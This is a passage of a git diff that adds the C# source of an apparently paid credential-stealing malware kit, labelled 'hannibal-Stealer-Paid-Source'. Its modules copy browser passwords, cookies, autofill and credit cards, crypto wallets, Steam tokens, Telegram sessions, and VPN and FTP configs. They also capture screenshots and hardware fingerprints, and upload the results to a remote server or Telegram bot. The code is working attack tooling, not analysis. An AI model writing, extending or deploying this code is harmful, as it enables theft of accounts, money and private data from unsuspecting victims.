public long row_id; + public string item_type; + public string item_name; + public readonly string astable_name; + public long root_num; + public string sql_statement; + } + + private struct table_entry + { + public long row_id; + public string[] content; + } + } +} diff --git a/Screenchik.cs b/Screenchik.cs new file mode 100644 index 0000000..4572bb1 --- /dev/null +++ b/Screenchik.cs @@ -0,0 +1,21 @@ +using System.Drawing; +using System.Drawing.Imaging; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace SHARP +{ + internal class Screenchik + { + public static async Task GetScreen(string SDir) + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + int width = bounds.Width; + bounds = Screen.PrimaryScreen.Bounds; + int height = bounds.Height; + Bitmap bitmap = new Bitmap(width, height); + Graphics.FromImage((Image) bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size); + bitmap.Save(SDir + "\\$creen.jpeg", ImageFormat.Jpeg); + } + } +} diff --git a/SenderAPI.cs b/SenderAPI.cs new file mode 100644 index 0000000..1167abf --- /dev/null +++ b/SenderAPI.cs @@ -0,0 +1,69 @@ +using System; +using System.Net; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text; +using System.Threading.Tasks; + +namespace SHARP +{ + public class SenderAPI + { + public static async Task TGotstuk( + byte[] file, + string filename, + string contentType, + string url, + string apiKey) + { + if (apiKey != "gggf980fd98f98fd980fd890f98f09f08fd980fd909uitu94U098089U4TJ908ERGJ098R089GAR09G90ADRG098AR089GR908GAD90RG") + Environment.Exit(0); + try + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; + WebClient webClient = new WebClient() + { + Proxy = (IWebProxy) null + }; + string str1 = "------------------------" + DateTime.Now.Ticks.ToString("x"); + webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + str1); + string str2 = webClient.Encoding.GetString(file); + string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", (object) str1, (object) filename, (object) contentType, (object) str2); + byte[] bytes = webClient.Encoding.GetBytes(s); + webClient.UploadData(url, "POST", bytes); + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + } + } + + public static async Task MyPrivateServerOtstuk(string apiUrl, string fileName, byte[] fileData) + { + using (HttpClient client = new HttpClient()) + { + MultipartFormDataContent content1 = new MultipartFormDataContent(); + ByteArrayContent content2 = new ByteArrayContent(fileData); + content2.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream"); + content1.Add((HttpContent) content2, "file", fileName); + int num = (await client.PostAsync(apiUrl, (HttpContent) content1)).IsSuccessStatusCode ? 1 : 0; + } + } + + public static async Task SubError() + { + HttpClient httpClient = new HttpClient(); + string requestUri = $"https://api.telegram.org/bot{Config.token}/sendMessage"; + string id = Config.id; + string empty = string.Empty; + string str = !(Config.language == "ru") ? "Your subscription has ended :(\nFraternize: t.me/CoderSharp" : "Ваша подписка закончилась :(\nОбратитесь: t.me/CoderSharp"; + string content = $"{{\r\n \"chat_id\": {id},\r\n \"text\": \"{str}\"\r\n }}"; + HttpResponseMessage httpResponseMessage = await httpClient.PostAsync(requestUri, (HttpContent) new StringContent(content, Encoding.UTF8, "application/json")); + } + + public static string Caption() + { + return $"\nPC USER INFORMATION:\n \uD83D\uDC41 {Help.IP} {Counting.country}\n \uD83D\uDC64 {Environment.MachineName} | {Environment.UserName}\n ⚙️ {SystemInfo.GetSystemVersion()}\nBASIC INFORMATION:\n Passwords - {Counting.Passwords.ToString()}\n AutoFiles - {Counting.AutoFill.ToString()}\n Cookies - {Counting.Cookies.ToString()}\n CC - {Counting.cc.ToString()}\n GRABBED SOFTWARE:{(Counting.ds > 0 ? $"\n ✅Discord ({Counting.ds})" : "")}{(Counting.jabber > 0 ? "\n ✅Jabber" : "")}{(Counting.totalcmd > 0 ? "\n ✅TotalCommander" : "")}{(Counting.Wallets > 0 ? $"\n ✅Wallets ( {StartWallets.getAllWallets()} ) " : "")}{(Counting.Telegram > 0 ? "\n ✅Telegram" : "")}{(Counting.FileZilla > 0 ? $"\n ✅FileZilla ({Counting.FileZilla.ToString()})" : "")}{(Counting.Steam > 0 ? "\n ✅Steam" : "")}{(Counting.NordVPN > 0 ? "\n ✅NordVPN" : "")}{(Counting.cgv > 0 ? "\n ✅CyberGhostVPN" : "")}{(Counting.express > 0 ? "\n ✅ExpressVPN" : "")}{(Counting.pia > 0 ? "\n ✅PiaVPN" : "")}{(Counting.OpenVPN > 0 ? "\n ✅OpenVPN" : "")}{(Counting.ProtonVPN > 0 ? "\n ✅ProtonVPN" : "")}\n DOMAINS DETECTED:\n - {Help.GetDomainDetect(Help.ExploitDir + "\\")}"; + } + } +} diff --git a/StartVPN.cs b/StartVPN.cs new file mode 100644 index 0000000..2fe051e --- /dev/null +++ b/StartVPN.cs @@ -0,0 +1,24 @@ +using System; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class StartVPN + { + public static async Task Start(string head) + { + try + { + OpenVPN.Save(head); + NordVPN.Save(head); + CyberGhost.SaveFileSession(head); + ExpressVPN.SaveFileSession(head); + PIAVPN.SaveFileSession(head); + } + catch (Exception ex) + { + Console.WriteLine(ex?.ToString() + "кошельки :("); + } + } + } +} diff --git a/StartWallets.cs b/StartWallets.cs new file mode 100644 index 0000000..d0a8562 --- /dev/null +++ b/StartWallets.cs @@ -0,0 +1,64 @@ +using System; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class StartWallets + { + public static async Task Start() + { + string exploitDir = Help.ExploitDir; + try + { + Armory.ArmoryStr(exploitDir); + AtomicWallet.AtomicStr(exploitDir); + BitcoinCore.BCStr(exploitDir); + Bytecoin.BCNcoinStr(exploitDir); + DashCore.DSHcoinStr(exploitDir); + Electrum.EleStr(exploitDir); + Ethereum.EcoinStr(exploitDir); + LitecoinCore.LitecStr(exploitDir); + Monero.XMRcoinStr(exploitDir); + Exodus.ExodusStr(exploitDir); + Zcash.ZecwalletStr(exploitDir); + Jaxx.JaxxStr(exploitDir); + } + catch (Exception ex) + { + Console.WriteLine(ex?.ToString() + "кошельки :("); + } + } + + public static string getAllWallets() + { + string str = ""; + if (Counting.armory > 0) + str += "Armory ,"; + if (Counting.atomicwallet > 0) + str += "AtomicWallet ,"; + if (Counting.bitcoincore > 0) + str += "BitcoinCore ,"; + if (Counting.bytecoin > 0) + str += "Bytecoin ,"; + if (Counting.dashcore > 0) + str += "DashCore ,"; + if (Counting.electrum > 0) + str += "Electrum ,"; + if (Counting.etherium > 0) + str += "Etherium ,"; + if (Counting.exodus > 0) + str += "Exodus ,"; + if (Counting.jaxx > 0) + str += "Jaxx ,"; + if (Counting.litecoincore > 0) + str += "LitecoinCore ,"; + if (Counting.metamask > 0) + str += "Metamask ,"; + if (Counting.monero > 0) + str += "Monero ,"; + if (Counting.zcash > 0) + str += "Zcash ,"; + return str.Substring(0, str.Length - 2); + } + } +} diff --git a/Steam.cs b/Steam.cs new file mode 100644 index 0000000..a0cb0a0 --- /dev/null +++ b/Steam.cs @@ -0,0 +1,121 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Steam + { + private static readonly string SteamPath_x64 = "SOFTWARE\\Wow6432Node\\Valve\\Steam"; + public static readonly string SteamPath_x32 = "Software\\Valve\\Steam"; + private static readonly bool True = true; + private static readonly bool False = false; + private static readonly string LoginFile = Path.Combine(Steam.GetLocationSteam(), "config\\loginusers.vdf"); + + public static async Task SteamGet(string head) + { + try + { + string path = head + "\\Steam"; + RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey(Steam.SteamPath_x32); + string str1 = registryKey1.GetValue("SteamPath").ToString(); + if (!Directory.Exists(str1) || Steam.GetLocationSteam() == null || Steam.GetAllProfiles() == null) + return; + Directory.CreateDirectory(path); + foreach (string allProfile in Steam.GetAllProfiles()) + File.AppendAllText(path + "\\AccountsList.txt", allProfile); + foreach (string subKeyName in registryKey1.OpenSubKey("Apps").GetSubKeyNames()) + { + using (RegistryKey registryKey2 = registryKey1.OpenSubKey("Apps\\" + subKeyName)) + { + string str2 = (string) registryKey2.GetValue("Name"); + string str3 = string.IsNullOrEmpty(str2) ? "Unknown" : str2; + File.AppendAllText(path + "\\Games.txt", str3 + "\n"); + } + } + if (Directory.Exists(str1)) + { + Directory.CreateDirectory(path + "\\ssnf"); + foreach (string file in Directory.GetFiles(str1)) + { + if (file.Contains("ssfn")) + File.Copy(file, $"{path}\\ssnf\\{Path.GetFileName(file)}"); + } + } + string str4 = Path.Combine(str1, "config"); + if (Directory.Exists(str4)) + { + Steam.GetToken(str4); + Directory.CreateDirectory(path + "\\configs"); + foreach (string file in Directory.GetFiles(str4)) + { + if (file.EndsWith("vdf")) + File.Copy(file, $"{path}\\configs\\{Path.GetFileName(file)}"); + } + } + ++Counting.Steam; + } + catch + { + } + } + + public static string GetLocationSteam(string Inst = "InstallPath", string Source = "SourceModInstallPath") + { + try + { + using (RegistryKey registryKey1 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32)) + { + using (RegistryKey registryKey2 = registryKey1.OpenSubKey(Steam.SteamPath_x64, Environment.Is64BitOperatingSystem ? Steam.True : Steam.False)) + { + using (RegistryKey registryKey3 = registryKey1.OpenSubKey(Steam.SteamPath_x32, Environment.Is64BitOperatingSystem ? Steam.True : Steam.False)) + return registryKey2?.GetValue(Inst)?.ToString() ?? registryKey3?.GetValue(Source)?.ToString(); + } + } + } + catch + { + return (string) null; + } + } + + public static List GetAllProfiles() + { + try + { + if (!File.Exists(Steam.LoginFile)) + return (List) null; + List list = Regex.Matches(File.ReadAllText(Steam.LoginFile), "\\\"76(.*?)\\\"").Cast().Select((Func) (x => "76" + x.Groups[1].Value)).ToList(); + List allProfiles = new List(); + for (int index = 0; index < list.Count(); ++index) + allProfiles.Add($"https://steamcommunity.com/profiles/{list[index]}\n"); + return allProfiles; + } + catch + { + return (List) null; + } + } + + public static void GetToken(string configpath) + { + string path1 = Path.Combine(configpath, "config.vdf"); + string path2 = Path.Combine(Help.ExploitDir, nameof (Steam), "Token.txt"); + if (!File.Exists(path1)) + return; + foreach (string readAllLine in File.ReadAllLines(path1)) + { + if (readAllLine.Contains("eyAidHlw")) + { + string str = ((IEnumerable) readAllLine.Replace('\t', '\n').Split('\n')).Last().Replace('"', ' ').Trim(); + File.WriteAllText(path2, "Token: " + str); + break; + } + } + } + } +} diff --git a/SystemInfo.cs b/SystemInfo.cs new file mode 100644 index 0000000..3a18290 --- /dev/null +++ b/SystemInfo.cs @@ -0,0 +1,168 @@ +using Microsoft.Win32; +using System; +using System.Drawing; +using System.IO; +using System.Management; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace SHARP +{ + internal class SystemInfo + { + public static string username = Environment.UserName; + public static string compname = Environment.MachineName; + + public static async Task GetSystem(string head) + { + File.WriteAllText(head + "\\Information.txt", $"\n---░██████╗██╗░░██╗░█████╗░██████╗░██████╗░---\n---██╔════╝██║░░██║██╔══██╗██╔══██╗██╔══██╗---\n---╚█████╗░███████║███████║██████╔╝██████╔╝---\n---░╚═══██╗██╔══██║██╔══██║██╔══██╗██╔═══╝░---\n---██████╔╝██║░░██║██║░░██║██║░░██║██║░░░░░---\n---╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░---\n---------------ME----------------\n==============================================\n Operating system: {SystemInfo.GetSystemVersion()}\n PC user: {SystemInfo.compname}/{SystemInfo.username}\n ClipBoard: {Buffers.GetBuffer()}\n Launch: {Help.ExploitName}\n==============================================\n Screen resolution: {SystemInfo.ScreenMetrics()}\n Current time: {DateTime.Now.ToString()}\n HWID: {SystemInfo.GetProcessorID()}\n==============================================\n CPU: {SystemInfo.GetCPUName()}\n RAM: {SystemInfo.GetRAM()}\n GPU: {SystemInfo.GetGpuName()}\n==============================================\n IP Geolocation: {Help.IP} {Counting.country}\n Log Date: {Help.date}\n BSSID: {BSSID.GetBSSID()}\n==============================================\n HDD: {SystemInfo.GetHDDSerialNo()}\n MAC: {SystemInfo.GetMACAddress()}\n BIOS caption: {SystemInfo.GetBIOScaption()}\n=============================================="); + } + + public static string GetSystemVersion() + { + return $"{SystemInfo.GetWindowsVersionName()} {SystemInfo.GetBitVersion()}"; + } + + private static string GetMACAddress() + { + ManagementObjectCollection instances = new ManagementClass("Win32_NetworkAdapterConfiguration").GetInstances(); + string empty = string.Empty; + foreach (ManagementObject managementObject in instances) + { + if (empty == string.Empty && (bool) managementObject["IPEnabled"]) + empty = managementObject["MacAddress"].ToString(); + managementObject.Dispose(); + } + return empty; + } + + public static string ScreenMetrics() + { + Rectangle bounds = Screen.GetBounds(Point.Empty); + int width = bounds.Width; + int height = bounds.Height; + return $"{width.ToString()}x{height.ToString()}"; + } + + private static string GetBIOScaption() + { + foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_BIOS").Get()) + { + try + { + return managementObject.GetPropertyValue("Caption").ToString(); + } + catch + { + } + } + return "BIOS Caption: Unknown"; + } + + public static string GetWindowsVersionName() + { + string windowsVersionName = "Unknown System"; + try + { + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", " SELECT * FROM win32_operatingsystem")) + { + foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) + windowsVersionName = Convert.ToString(managementBaseObject["Name"]); + windowsVersionName = windowsVersionName.Split('|')[0]; + int length = windowsVersionName.Split(' ')[0].Length; + windowsVersionName = windowsVersionName.Substring(length).TrimStart().TrimEnd(); + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + return windowsVersionName; + } + + private static string GetHDDSerialNo() + { + ManagementObjectCollection instances = new ManagementClass("Win32_LogicalDisk").GetInstances(); + string hddSerialNo = ""; + foreach (ManagementObject managementObject in instances) + hddSerialNo += Convert.ToString(managementObject["VolumeSerialNumber"]); + return hddSerialNo; + } + + private static string GetBitVersion() + { + try + { + return Registry.LocalMachine.OpenSubKey("HARDWARE\\Description\\System\\CentralProcessor\\0").GetValue("Identifier").ToString().Contains("x86") ? "(32 Bit)" : "(64 Bit)"; + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + return "(Unknown)"; + } + + public static string GetCPUName() + { + try + { + string empty = string.Empty; + foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor").Get()) + empty = managementBaseObject["Name"].ToString(); + return empty; + } + catch (Exception ex) + { + Console.WriteLine(ex?.ToString() + "СистемИнфа"); + return "Error"; + } + } + + public static string GetRAM() + { + try + { + int num = 0; + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_ComputerSystem")) + { + using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator()) + { + if (enumerator.MoveNext()) + num = (int) (Convert.ToDouble(enumerator.Current["TotalPhysicalMemory"]) / 1048576.0) - 1; + } + } + return num.ToString() + "MB"; + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + return "Error"; + } + } + + public static string GetProcessorID() + { + string empty = string.Empty; + foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("SELECT ProcessorId FROM Win32_Processor").Get()) + empty = (string) managementBaseObject["ProcessorId"]; + return empty; + } + + public static string GetGpuName() + { + try + { + using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get().GetEnumerator()) + { + if (enumerator.MoveNext()) + return enumerator.Current["Name"].ToString(); + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + return "Unknown"; + } + } +} diff --git a/Telegram.cs b/Telegram.cs new file mode 100644 index 0000000..c8ff93b --- /dev/null +++ b/Telegram.cs @@ -0,0 +1,63 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Telegram + { + private static string GetTdata() + { + string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata"; + Process[] processesByName = Process.GetProcessesByName(nameof (Telegram)); + return processesByName.Length == 0 ? str : Path.Combine(Path.GetDirectoryName(ProcessList.ProcessExecutablePath(processesByName[0])), "tdata"); + } + + public static async Task GetTelegramSessions(string head) + { + string str1 = head; + string tdata = Telegram.GetTdata(); + try + { + if (!Directory.Exists(tdata)) + return; + string str2 = str1 + "\\Telegram"; + Directory.CreateDirectory(str2); + string[] directories = Directory.GetDirectories(tdata); + string[] files = Directory.GetFiles(tdata); + foreach (string str3 in directories) + { + string name = new DirectoryInfo(str3).Name; + if (name.Length == 16 /*0x10*/) + { + string targetDir = Path.Combine(str2, name); + Filemanager.CopyDirectory(str3, targetDir); + } + } + foreach (string fileName in files) + { + FileInfo fileInfo = new FileInfo(fileName); + string name = fileInfo.Name; + string destFileName = Path.Combine(str2, name); + if (fileInfo.Length <= 5120L) + { + if (name.EndsWith("s") && name.Length == 17) + { + fileInfo.CopyTo(destFileName); + } + else + { + if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data")) + fileInfo.CopyTo(destFileName); + ++Counting.Telegram; + } + } + } + } + catch + { + } + } + } +} diff --git a/TotalCommander.cs b/TotalCommander.cs new file mode 100644 index 0000000..ed40615 --- /dev/null +++ b/TotalCommander.cs @@ -0,0 +1,29 @@ +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class TotalCommander + { + public static async Task Start(string head) + { + try + { + string path = Help.AppData + "\\GHISLER\\"; + if (Directory.Exists(path)) + Directory.CreateDirectory(head + "\\FTP\\Total Commander"); + foreach (FileSystemInfo file in new DirectoryInfo(path).GetFiles()) + { + if (file.Name.Contains("wcx_ftp.ini")) + { + File.Copy(path + "wcx_ftp.ini", head + "\\FTP\\Total Commander\\wcx_ftp.ini"); + ++Counting.totalcmd; + } + } + } + catch + { + } + } + } +} diff --git a/V20Collect.cs b/V20Collect.cs new file mode 100644 index 0000000..95ebbc9 --- /dev/null +++ b/V20Collect.cs @@ -0,0 +1,222 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Http; +using System.Net.WebSockets; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class V20Collect + { + private const int DEBUG_PORT = 9222; + private static readonly string DEBUG_URL = $"http://localhost:{9222}/json"; + private static readonly string LOCAL_APP_DATA = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + + public static async Task GetCookiesFromBrowser(KeyValuePair path) + { + try + { + string binPath = ""; + Dictionary dictionary = PathsCV20.PATHS[path.Key]; + string path1 = dictionary["bin1"]; + string path2 = dictionary["bin2"]; + string path3 = dictionary["bin3"]; + if (File.Exists(path1)) + binPath = path1; + if (File.Exists(path2)) + binPath = path2; + if (File.Exists(path3)) + binPath = path3; + if (binPath == "") + return (CookieFormat[]) null; + string str = path.Value; + string command = $"{PathsCV20.commandT}\"{str}\""; + V20Collect.CloseBrowser(binPath); + V20Collect.StartBrowser(binPath, command); + CookieFormat[] cookies = await V20Collect.GetCookies(await V20Collect.GetDebugWsUrl()); + V20Collect.CloseBrowser(binPath); + return cookies; + } + catch (Exception ex) + { + return (CookieFormat[]) null; + } + } + + private static string ParseDebugWsUrl(string content) + { + string str1 = content; + char[] chArray = new char[1]{ '\n' }; + foreach (string str2 in str1.Split(chArray)) + { + if (str2.Contains("webSocketDebuggerUrl")) + return str2.Replace("webSocketDebuggerUrl", " ").Replace('"', ' ').Trim().Substring(1).Trim(); + } + return (string) null; + } + + private static async Task GetDebugWsUrl() + { + string debugWsUrl; + using (HttpClient client = new HttpClient()) + { + HttpResponseMessage async = await client.GetAsync(V20Collect.DEBUG_URL); + async.EnsureSuccessStatusCode(); + string content = await async.Content.ReadAsStringAsync(); + try + { + debugWsUrl = V20Collect.ParseDebugWsUrl(content); + goto label_10; + } + catch + { + } + throw new Exception("Could not find 'webSocketDebuggerUrl' in the debug info."); + } + label_10: + return debugWsUrl; + } + + private static void CloseBrowser(string binPath) + { + string fileName = Path.GetFileName(binPath); + try + { + foreach (Process process in Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fileName))) + process.Kill(); + } + catch + { + } + } + + private static void StartBrowser(string binPath, string command) + { + Process.Start(new ProcessStartInfo() + { + FileName = binPath, + Arguments = command, + RedirectStandardOutput = true, + RedirectStandardError = true, + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + } + + private static async Task GetCookies(string wsUrl) + { + List cookies = new List(); + CookieFormat[] array; + using (ClientWebSocket ws = new ClientWebSocket()) + { + TaskCompletionSource tcs = new TaskCompletionSource(); + try + { + await ws.ConnectAsync(new Uri(wsUrl), CancellationToken.None); + await V20Collect.SendMessageAsync(ws, "{\"id\": 1, \"method\": \"Network.getAllCookies\"}"); + cookies = V20Collect.ParseCookiesFromResponse(await V20Collect.ReceiveMessageAsync(ws)); + tcs.SetResult((object) null); + } + catch (Exception ex) + { + tcs.SetException(ex); + } + finally + { + if (ws.State == WebSocketState.Open) + await ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "Closing", CancellationToken.None); + } + object task = await tcs.Task; + array = cookies.ToArray(); + } + cookies = (List) null; + return array; + } + + private static string writteCookieToFile(string response) + { + string contents = response.Replace(',', '\n'); + string path = V20Collect.LOCAL_APP_DATA + BRWSR.GenerateRandomString(20); + File.WriteAllText(path, contents); + return path; + } + + private static string parseValue(string value) + { + string empty = string.Empty; + return ((IEnumerable) value.Split(':')).Last().Replace('"', ' ').Trim(); + } + + private static List ParseCookiesFromResponse(string response) + { + List cookiesFromResponse = new List(); + try + { + string file = V20Collect.writteCookieToFile(response); + string[] strArray = File.ReadAllLines(file); + string empty1 = string.Empty; + string empty2 = string.Empty; + string empty3 = string.Empty; + string empty4 = string.Empty; + string empty5 = string.Empty; + foreach (string str in strArray) + { + if (empty5 != string.Empty) + { + ++Counting.Cookies; + cookiesFromResponse.Add(new CookieFormat(empty3, empty1, empty4, empty2, empty5)); + empty1 = string.Empty; + empty2 = string.Empty; + empty3 = string.Empty; + empty4 = string.Empty; + empty5 = string.Empty; + } + if (str.Contains("name")) + empty1 = V20Collect.parseValue(str); + if (str.Contains("value")) + empty2 = V20Collect.parseValue(str); + if (str.Contains("domain")) + empty3 = V20Collect.parseValue(str); + if (str.Contains("path")) + empty4 = V20Collect.parseValue(str); + if (str.Contains("expires")) + empty5 = V20Collect.parseValue(str); + } + File.Delete(file); + return cookiesFromResponse; + } + catch + { + } + return (List) null; + } + + private static async Task SendMessageAsync(ClientWebSocket socket, string message) + { + await socket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes(message)), WebSocketMessageType.Text, true, CancellationToken.None); + } + + private static async Task ReceiveMessageAsync(ClientWebSocket socket) + { + byte[] buffer = new byte[4096 /*0x1000*/]; + StringBuilder stringBuilder = new StringBuilder(); + WebSocketReceiveResult async; + do + { + async = await socket.ReceiveAsync(new ArraySegment(buffer), CancellationToken.None); + stringBuilder.Append(Encoding.UTF8.GetString(buffer, 0, async.Count)); + } + while (!async.EndOfMessage); + string messageAsync = stringBuilder.ToString(); + buffer = (byte[]) null; + stringBuilder = (StringBuilder) null; + return messageAsync; + } + } +} diff --git a/WinAPI.cs b/WinAPI.cs new file mode 100644 index 0000000..0fbc9c0 --- /dev/null +++ b/WinAPI.cs @@ -0,0 +1,26 @@ +using System; +using System.Runtime.InteropServices; + +namespace SHARP +{ + internal class WinAPI + { + [DllImport("user32.dll")] + internal static extern IntPtr GetClipboardData(uint uFormat); + + [DllImport("user32.dll")] + public static extern bool IsClipboardFormatAvailable(uint format); + + [DllImport("user32.dll", SetLastError = true)] + internal static extern bool OpenClipboard(IntPtr hWndNewOwner); + + [DllImport("user32.dll", SetLastError = true)] + internal static extern bool CloseClipboard(); + + [DllImport("kernel32.dll")] + internal static extern IntPtr GlobalLock(IntPtr hMem); + + [DllImport("kernel32.dll")] + internal static extern bool GlobalUnlock(IntPtr hMem); + } +} diff --git a/Writer.cs b/Writer.cs new file mode 100644 index 0000000..00d4ad2 --- /dev/null +++ b/Writer.cs @@ -0,0 +1,79 @@ +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Writer + { + private static string CookiesPath = Path.Combine(Help.ExploitDir, "Cookies"); + private static string ExDir = Help.ExploitDir; + private static string AutoFillPath = Path.Combine(Help.ExploitDir, "AutoFill"); + private static string CCDir = Path.Combine(Help.ExploitDir, "CC"); + + public static async Task WritePasswords(PasswordFormat[] passwords) + { + using (StreamWriter passwordWriter = new StreamWriter(Path.Combine(Writer.ExDir, "Passwords.txt"), true)) + { + PasswordFormat[] passwordFormatArray = passwords; + for (int index = 0; index < passwordFormatArray.Length; ++index) + { + PasswordFormat passwordFormat = passwordFormatArray[index]; + ++Counting.Passwords; + await passwordWriter.WriteLineAsync($"URL: {passwordFormat.Url}\nUsername: {passwordFormat.Username}\nPassword: {passwordFormat.Password}\r\n"); + } + passwordFormatArray = (PasswordFormat[]) null; + } + } + + public static async Task WriteCookies(CookieFormat[] cookies, string key) + { + if (!Directory.Exists(Writer.CookiesPath)) + Directory.CreateDirectory(Writer.CookiesPath); + using (StreamWriter cookieWriter = new StreamWriter(Path.Combine(Writer.CookiesPath, $"Cookies_{key}.txt"))) + { + CookieFormat[] cookieFormatArray = cookies; + for (int index = 0; index < cookieFormatArray.Length; ++index) + { + CookieFormat cookieFormat = cookieFormatArray[index]; + ++Counting.Cookies; + await cookieWriter.WriteLineAsync($"{cookieFormat.Host}\tTRUE\t{cookieFormat.Path}\tFALSE\t{cookieFormat.Expiry}\t{cookieFormat.Name}\t{cookieFormat.Cookie}\r\n"); + } + cookieFormatArray = (CookieFormat[]) null; + } + } + + public static async Task WriteAutoFill(AutoFilesFormat[] autofilles, string key) + { + if (!Directory.Exists(Writer.AutoFillPath)) + Directory.CreateDirectory(Writer.AutoFillPath); + using (StreamWriter cookieWriter = new StreamWriter(Path.Combine(Writer.AutoFillPath, $"AutoFill_{key}.txt"))) + { + AutoFilesFormat[] autoFilesFormatArray = autofilles; + for (int index = 0; index < autoFilesFormatArray.Length; ++index) + { + AutoFilesFormat autoFilesFormat = autoFilesFormatArray[index]; + ++Counting.AutoFill; + await cookieWriter.WriteLineAsync($"Name: {autoFilesFormat.Key}\nValue: {autoFilesFormat.Value}\r\n"); + } + autoFilesFormatArray = (AutoFilesFormat[]) null; + } + } + + public static async Task WriteCreditCards(CreditCardFormat[] creditcards, string key) + { + if (!Directory.Exists(Writer.CCDir)) + Directory.CreateDirectory(Writer.CCDir); + using (StreamWriter cardWriter = new StreamWriter(Path.Combine(Writer.CCDir, $"CreditCards_{key}.txt"))) + { + CreditCardFormat[] creditCardFormatArray = creditcards; + for (int index = 0; index < creditCardFormatArray.Length; ++index) + { + CreditCardFormat creditCardFormat = creditCardFormatArray[index]; + ++Counting.cc; + await cardWriter.WriteLineAsync($"Number: {creditCardFormat.Number}\nExpYear: {creditCardFormat.ExpYear}\nExpMonth: {creditCardFormat.ExpMonth}\nName: {creditCardFormat.Name}\r\n"); + } + creditCardFormatArray = (CreditCardFormat[]) null; + } + } + } +} diff --git a/Zcash.cs b/Zcash.cs new file mode 100644 index 0000000..31ea744 --- /dev/null +++ b/Zcash.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace SHARP +{ + internal class Zcash + { + public static int count = 0; + public static string ZcashDir = "\\Wallets\\Zcash\\"; + + public static void ZecwalletStr(string directorypath) + { + try + { + foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Zcash\\").GetFiles()) + { + Directory.CreateDirectory(directorypath + Zcash.ZcashDir); + file.CopyTo(directorypath + Zcash.ZcashDir + file.Name); + } + ++Counting.zcash; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/app.config b/app.config new file mode 100644 index 0000000..2c0f559 --- /dev/null +++ b/app.config @@ -0,0 +1,3 @@ + + + diff --git a/desktop.ini b/desktop.ini new file mode 100644 index 0000000..09006b7 --- /dev/null +++ b/desktop.ini @@ -0,0 +1,2 @@ +[.ShellClassInfo] +LocalizedResourceName=hannibal-Stealer-Paid-Source diff --git a/dst.cs b/dst.cs new file mode 100644 index 0000000..8acb771 --- /dev/null +++ b/dst.cs @@ -0,0 +1,324 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class dst + { + private static List _accounts; + private static string RoamingPath; + private static string LocalAppDataPath = Help.LocalData; + + static dst() + { + dst.RoamingPath = Help.AppData; + dst._accounts = new List(); + } + + internal static async Task GetAccounts() + { + await dst.Run(); + return dst._accounts.ToArray(); + } + + private static async Task Run() + { + dst._accounts.Clear(); + List taskList = new List(); + foreach (KeyValuePair keyValuePair in new Dictionary() + { + { + "Discord", + Path.Combine(dst.RoamingPath, "discord") + }, + { + "Discord Canary", + Path.Combine(dst.RoamingPath, "discordcanary") + }, + { + "Lightcord", + Path.Combine(dst.RoamingPath, "Lightcord") + }, + { + "Discord PTB", + Path.Combine(dst.RoamingPath, "discordptb") + }, + { + "Opera", + Path.Combine(dst.RoamingPath, "Opera Software", "Opera Stable") + }, + { + "Opera GX", + Path.Combine(dst.RoamingPath, "Opera Software", "Opera GX Stable") + }, + { + "Amigo", + Path.Combine(dst.LocalAppDataPath, "Amigo", "User Data") + }, + { + "Torch", + Path.Combine(dst.LocalAppDataPath, "Torch", "User 